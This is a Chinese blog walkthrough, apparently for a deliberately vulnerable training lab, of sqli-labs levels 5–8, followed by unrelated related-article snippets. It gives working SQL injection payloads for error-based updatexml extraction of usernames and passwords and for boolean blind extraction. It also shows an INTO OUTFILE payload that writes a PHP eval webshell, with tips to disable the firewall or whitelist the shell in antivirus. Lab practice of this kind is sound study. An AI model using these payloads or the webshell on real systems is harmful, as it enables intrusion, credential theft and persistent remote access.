当前位置: 首页 > news >正文

sqli—labs靶场 5-8关 (每日4关练习)持续更新!!!

Less-5

上来先进行查看是否有注入点,判断闭合方式,查询数据列数,用union联合注入查看回显位,发现到这一步的时候,和前四道题不太一样了,竟然没有回显位???

我们看一下源码,发现源码和前几道题有点差异,我们尝试报错注入,让页面回显对数据库的报错信息,报错注入有很多,例如floor,updatexml等等,我们这里用updatexml报错注入试一试是否可行!!!

我们简单说一下updatexml报错注入

1.updatexml函数格式为updatexml(xml_doument,XPath_string,new_value);

所以说这里我们需要认识到它三个参数的含义是什么?

1、第一个参数其实就是XML的内容
2、第二个参数就是需要更新update的位置XPATH路径
3、第三个参数就是更新之后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

 我们使用  updatexml(1,concat(0x7e,(...),0x7e),1)

大家会很好奇 中间0x7e 是什么东西,这个是因为0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。如果不添加该不属于xpath格式的参数无法引发正确的报错。

所以接下来按规矩办事,先查库,再查表,最后列

数据库名:

?id=0' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

表名

?id=0' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

列名:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

注入:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+

这里我们又看到查询回显内容很少,这里就因为updatexml报错最大只能容纳32个字节

我们使用limit分段回显    limit n,1

?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)--+

........

Less-6

上来先进行查看是否有注入点,判断闭合方式,查询数据列数,用union联合注入查看回显位,发现到这一步的时候,和第五道题一样啊,只不过是闭合方式有改变,第六题的闭合方式是双引号"

那么解题步骤和第五题一样,直接演示最后一步

?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+

Less-7

上来先进行查看是否有注入点 直接?id=1,发现有显示outfile??这是什么,经过查询一下资料,原来这到题让写一个外部木马文件,我感觉第7题还是有点难度的,大家要是看不懂我写的,建议去b站看一下专业人士的视频讲解!!!

接下来判断闭合方式和回显位置,这些步骤就不演示啦

接下来开始写马,写马需要一个函数就是into outfile()函数,就是将外部文件写入

?id=1')) union select 1,"<?php eval($_POST[phpinfo()])?>" ,3 into outfile"F://phpstudt//phpstudy_pro//WWW//sqli-labs-php7-master//Less-7//shell.php"--+

into outfile后面的文件的路径根据自己电脑的路径自己写

注意:需要into outfile函数需要配置 mysql的 my.ini 文件!!!

在my.ini文件中修改secure_file_priv=""这个语句,要是没有这个语句,直接添加就好了!!!

secure_file_priv这个就是限制MYSQL对于文件的导入与导出,改为空就没事了

还有就是我执行操作的时候,一直没有成功写入,后来才发现是电脑防火墙把咱们写的一句话木马给删除了,该说不说,微软的防火墙是真的牛,大家可以把防火墙关闭,或者下载火绒安全,弄一个白名单(信任区),这样可以避免这样的麻烦(刚才真的困扰我好久)!!

成功!!!

Less-8

上来先进行查看是否有注入点,判断闭合方式,查询数据列数,用union联合注入查看回显位,发现到这一步的时候,和第五道题,第六题一样啊

让我看看题干有没有提示!

原来题干说了呀,是布尔盲注,我们就用布尔盲注解题吧!!!

那我们先介绍一下布尔盲注

length()函数 返回字符串的长度

substr()截取字符串  (语法:SUBSTR(str,pos,len);)

ascii()返回字符的ascii码值 (将字符变为数字)

开始解题

猜解库名长度

?id=1' and (length(database()))=8--+   (后面=8需要自己一个个试出来的)

利用ASCII码猜解当前数据库的名称,需要对照ASCII表一次查找!大家自行搜索一下

//security

substr(database(),1,1))  第一个1是位数,第二个1是个数,所以之后改变第一个的数值就ok了,然后后面的值需要大家一步步尝试,这里就不演示啦

?id=1' and (ascii(substr(database(),1,1)))=115--+    >>>s

?id=1' and (ascii(substr(database(),2,1)))=101--+    >>>e

?id=1' and ascii(substr((database()),3,1)) = 99 --+   >>>c

?id=1' and (ascii(substr(database(),4,1)))=117--+    >>>u

?id=1' and (ascii(substr(database(),5,1)))=114--+    >>>r

?id=1' and ascii(substr((database()),6,1))=105--+    >>>i

?id=1' and (ascii(substr(database(),7,1)))=116--+    >>>t

?id=1' and (ascii(substr(database(),8,1)))=121--+    >>>y

 。。。一个个去尝试找到一个8位的库名

猜表名

//emails

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101 --+    >>>e

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)) = 109 --+    >>>m

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1)) = 97 --+      >>>a

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1)) = 105 --+    >>>i

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1)) = 108 --+    >>>l

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)) = 115 --+    >>>s

也是需要一步步尝试 

 猜字段

//id

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)) = 105 --+    >>>i

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1)) = 100 --+    >>>d

//emali_id

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),1,1)) = 101 --+    >>>e

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),2,1)) = 109 --+    >>>m

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),3,1)) = 97 --+      >>>a

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),4,1)) = 105 --+    >>>i

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),5,1)) = 108 --+    >>>l

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),6,1)) = 95 --+      >>>_

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),7,1)) = 105 --+    >>>i

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),8,1)) = 100 --+    >>>d

获取数据

//Dumb@dhahhan.com

?id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 68 --+      >>>D

?id=1' and ascii(substr((select email_id from emails limit 0,1),2,1)) = 117 --+    >>>u

?id=1' and ascii(substr((select email_id from emails limit 0,1),3,1)) = 109 --+    >>>m

?id=1' and ascii(substr((select email_id from emails limit 0,1),4,1)) = 98 --+      >>>b

?id=1' and ascii(substr((select email_id from emails limit 0,1),5,1)) = 64 --+      >>>@

?id=1' and ascii(substr((select email_id from emails limit 0,1),6,1)) = 100 --+    >>>d

?id=1' and ascii(substr((select email_id from emails limit 0,1),7,1)) = 104 --+    >>>h

?id=1' and ascii(substr((select email_id from emails limit 0,1),8,1)) = 97 --+      >>>a

?id=1' and ascii(substr((select email_id from emails limit 0,1),9,1)) = 104 --+    >>>h

?id=1' and ascii(substr((select email_id from emails limit 0,1),10,1)) = 104 --+    >>>h

?id=1' and ascii(substr((select email_id from emails limit 0,1),11,1)) = 97 --+      >>>a

?id=1' and ascii(substr((select email_id from emails limit 0,1),12,1)) = 110 --+    >>>n

?id=1' and ascii(substr((select email_id from emails limit 0,1),13,1)) = 46 --+      >>>.

?id=1' and ascii(substr((select email_id from emails limit 0,1),14,1)) = 99 --+      >>>c

?id=1' and ascii(substr((select email_id from emails limit 0,1),15,1)) = 111 --+     >>>o

?id=1' and ascii(substr((select email_id from emails limit 0,1),16,1)) = 109 --+    >>>m

成功!!! 

相关文章:

sqli—labs靶场 5-8关 (每日4关练习)持续更新!!!

Less-5 上来先进行查看是否有注入点&#xff0c;判断闭合方式&#xff0c;查询数据列数&#xff0c;用union联合注入查看回显位&#xff0c;发现到这一步的时候&#xff0c;和前四道题不太一样了&#xff0c;竟然没有回显位&#xff1f;&#xff1f;&#xff1f; 我们看一下源…...

【Java】异常处理实例解析

文章目录 Java异常处理实例解析Example01_2023yang&#xff1a;未处理的异常Example02_2023yang&#xff1a;捕获并处理异常Example03_2023yang&#xff1a;finally块的使用Example04_2023yang&#xff1a;自定义异常Example05_2023yang&#xff1a;忽略异常信息Example06_2023…...

flutter调试

上面的调试The following FormatException was thrown while handling a gesture: Invalid double -Infinity874When the exception was thrown, this was the stack: #0 double.parse (dart:core-patch/double_patch.dart:113:28) #1 _CalculatorScreenState._butt…...

使用Web Workers提升JavaScript的并行处理能力

&#x1f493; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4dd; Gitee主页&#xff1a;瑕疵的gitee主页 ⏩ 文章专栏&#xff1a;《热点资讯》 使用Web Workers提升JavaScript的并行处理能力 使用Web Workers提升JavaScript的并行处理能力 使用Web Workers提升JavaScript的…...

【含开题报告+文档+PPT+源码】基于Spring Boot智能综合交通出行管理平台的设计与实现

开题报告 随着城市规模的不断扩大和交通拥堵问题的日益严重&#xff0c;综合交通出行管理平台的研究与实现显得尤为重要。现代城市居民对于出行的需求越来越多样化&#xff0c;对于交通信息的获取和处理能力也提出了更高的要求。传统的交通管理方式已经难以满足这些需求&#…...

STM32寄存器结构体详解

一、寄存器结构体详解 对于STM32而言&#xff0c;使用一个结构体将一个外设的所有寄存器都放到一起 二、修改驱动 1、添加清除bss段代码 2、添加寄存器结构体 在寄存器结构体中添加寄存器的时候一定要注意地址的连续性&#xff0c;如果地址不连续的话&#xff0c;要添加占位…...

如何建立devops?

要建立DevOps系统&#xff0c;可以遵循以下步骤&#xff1a; 一、明确目标与确立原则 明确目标&#xff1a;确定DevOps系统的总体目标&#xff0c;例如提高软件发布频率、缩短反馈时间、提升软件质量等。确立原则&#xff1a;确立DevOps的核心原则&#xff0c;包括持续集成&a…...

shell基础(3)

声明&#xff01; 学习视频来自B站up主 **泷羽sec** 有兴趣的师傅可以关注一下&#xff0c;如涉及侵权马上删除文章&#xff0c;笔记只是方便各位师傅的学习和探讨&#xff0c;文章所提到的网站以及内容&#xff0c;只做学习交流&#xff0c;其他均与本人以及泷羽sec团…...

2024年11月16日Github流行趋势

项目名称&#xff1a;opendatalab / MinerU 项目维护者&#xff1a;myhloli, dt-yy, Focusshang, drunkpig, papayalove等项目介绍&#xff1a;一站式开源高质量数据提取工具&#xff0c;支持PDF/网页/多格式电子书提取。项目star数&#xff1a;16,398项目fork数&#xff1a;1,…...

k8s更新

k8s更新 1.30 升级了 Metrics Server 到 v0.7.0 kubectl get cronjob命令增加了时区列显示 kubectl describe命令在描述VolumeAttributesClass、作业、Pod 模板等时提供了更多信息&#xff0c;有助于深入排查问题。 改进了kubectl logs命令&#xff0c;当 Pod 未找到时会显示所…...

ES6进阶知识一

目录 一、ES6构建工具与模块化 1.1.构建工具 1.1.1.Webpack 安装 Webpack 配置 Webpack 使用 Webpack 1.1.2.Babel 安装 Babel 配置 Babel 1.2.ES6模块化 1.命名导出导入 导出模块 导入模块 2. 默认导出与导入 导出模块 导入模块 1.3.完整案例展示 1. 项目结构…...

C#/WinForm拖拽文件上传

一、首先创建一个上传文件的类&#xff0c;继承Control类&#xff0c;如下&#xff1a; public class UploadControl : Control{private Image _image;public UploadControl(){this.SetStyle(ControlStyles.UserPaint | //控件自行绘制&#xff0c;而不使用操作系统的绘制Cont…...

IT运维的365天--019 用php做一个简单的文件上传工具

前情提要&#xff1a;朋友的工作室&#xff0c;有几个网站分布在不同的服务器上&#xff0c;要经常进行更新&#xff0c;之前是手动复制压缩包到各个服务器去更新&#xff08;有写了自动更新的Shell脚本&#xff09;。但还是觉得太麻烦&#xff0c;每次还要手动传输压缩包到各个…...

详细的oracle rac维护命令集合

一、查看命令 所有实例和服务的状态 $srvctl status database -d orcl Instance orcl1 is running on node db1 Instance orcl2 is running on node db2 单个实例的状态 $ srvctl status instance -d orcl -i orcl2 Instance orcl2 is running on node db2 单个节点的应用程序…...

23 种设计模式详解

设计模式的分类 总体来说设计模式分为三大类&#xff1a; 创建型模式&#xff0c;共五种&#xff1a;单例模式、工厂方法模式、抽象工厂模式、建造者模式、原型模式。 结构型模式&#xff0c;共七种&#xff1a;适配器模式、装饰器模式、代理模式、外观模式、桥接模式、 组合模…...

Python毕业设计选题:基于django+vue的二手物品交易系统

开发语言&#xff1a;Python框架&#xff1a;djangoPython版本&#xff1a;python3.7.7数据库&#xff1a;mysql 5.7数据库工具&#xff1a;Navicat11开发软件&#xff1a;PyCharm 系统展示 管理员登录 管理员功能界面 用户管理 店铺管理 二手物品管理 广告管理 留言反馈 订单…...

VMware 17虚拟Ubuntu 22.04设置共享目录

VMware 17虚拟Ubuntu 22.04设置共享目录 共享文件夹挂载命令&#xff01;&#xff01;&#xff01;<font colorred>配置启动自动挂载Chapter1 VMware 17虚拟Ubuntu 22.04设置共享目录一、卸载老版本二、安装open-vm-tools<font colorred>三、配置启动自动挂载四、添…...

Rust学习(五):泛型、trait

Rust学习&#xff08;五&#xff09;&#xff1a;泛型、trait 1、泛型&#xff1a; 相信小伙伴们一定还记得&#xff0c;之前我们实现了一个add函数&#xff0c;并指定了参数类型为&#xff1a;i32&#xff1a; fn add(x:i32, y:i32) ->i32 {x y }这里我们就会遇到一个问…...

智能零售柜商品识别

项目源码获取方式见文章末尾&#xff01; 600多个深度学习项目资料&#xff0c;快来加入社群一起学习吧。 《------往期经典推荐------》 项目名称 1.【基于CNN-RNN的影像报告生成】 2.【卫星图像道路检测DeepLabV3Plus模型】 3.【GAN模型实现二次元头像生成】 4.【CNN模型实现…...

2024智能机器人与自动控制国际学术会议 (IRAC 2024)

主办&#xff0c;承办&#xff0c;支持单位 会议官网 www.icirac.org 大会时间&#xff1a;2024年11月29-12月1日 大会简介 2024智能机器人与自动控制国际学术会议 &#xff08;IRAC 2024&#xff09;由华南理工大学主办&#xff0c;会议将于2024年11月29日-12月1日在中国广…...

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…...

MMaDA: Multimodal Large Diffusion Language Models

CODE &#xff1a; https://github.com/Gen-Verse/MMaDA Abstract 我们介绍了一种新型的多模态扩散基础模型MMaDA&#xff0c;它被设计用于在文本推理、多模态理解和文本到图像生成等不同领域实现卓越的性能。该方法的特点是三个关键创新:(i) MMaDA采用统一的扩散架构&#xf…...

PL0语法,分析器实现!

简介 PL/0 是一种简单的编程语言,通常用于教学编译原理。它的语法结构清晰,功能包括常量定义、变量声明、过程(子程序)定义以及基本的控制结构(如条件语句和循环语句)。 PL/0 语法规范 PL/0 是一种教学用的小型编程语言,由 Niklaus Wirth 设计,用于展示编译原理的核…...

视频行为标注工具BehaviLabel(源码+使用介绍+Windows.Exe版本)

前言&#xff1a; 最近在做行为检测相关的模型&#xff0c;用的是时空图卷积网络&#xff08;STGCN&#xff09;&#xff0c;但原有kinetic-400数据集数据质量较低&#xff0c;需要进行细粒度的标注&#xff0c;同时粗略搜了下已有开源工具基本都集中于图像分割这块&#xff0c…...

Python+ZeroMQ实战:智能车辆状态监控与模拟模式自动切换

目录 关键点 技术实现1 技术实现2 摘要&#xff1a; 本文将介绍如何利用Python和ZeroMQ消息队列构建一个智能车辆状态监控系统。系统能够根据时间策略自动切换驾驶模式&#xff08;自动驾驶、人工驾驶、远程驾驶、主动安全&#xff09;&#xff0c;并通过实时消息推送更新车…...

GO协程(Goroutine)问题总结

在使用Go语言来编写代码时&#xff0c;遇到的一些问题总结一下 [参考文档]&#xff1a;https://www.topgoer.com/%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B/goroutine.html 1. main()函数默认的Goroutine 场景再现&#xff1a; 今天在看到这个教程的时候&#xff0c;在自己的电…...

Proxmox Mail Gateway安装指南:从零开始配置高效邮件过滤系统

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐&#xff1a;「storms…...

Axure 下拉框联动

实现选省、选完省之后选对应省份下的市区...

Vue3 PC端 UI组件库我更推荐Naive UI

一、Vue3生态现状与UI库选择的重要性 随着Vue3的稳定发布和Composition API的广泛采用&#xff0c;前端开发者面临着UI组件库的重新选择。一个好的UI库不仅能提升开发效率&#xff0c;还能确保项目的长期可维护性。本文将对比三大主流Vue3 UI库&#xff08;Naive UI、Element …...

Python学习(8) ----- Python的类与对象

Python 中的类&#xff08;Class&#xff09;与对象&#xff08;Object&#xff09;是面向对象编程&#xff08;OOP&#xff09;的核心。我们可以通过“类是模板&#xff0c;对象是实例”来理解它们的关系。 &#x1f9f1; 一句话理解&#xff1a; 类就像“图纸”&#xff0c;对…...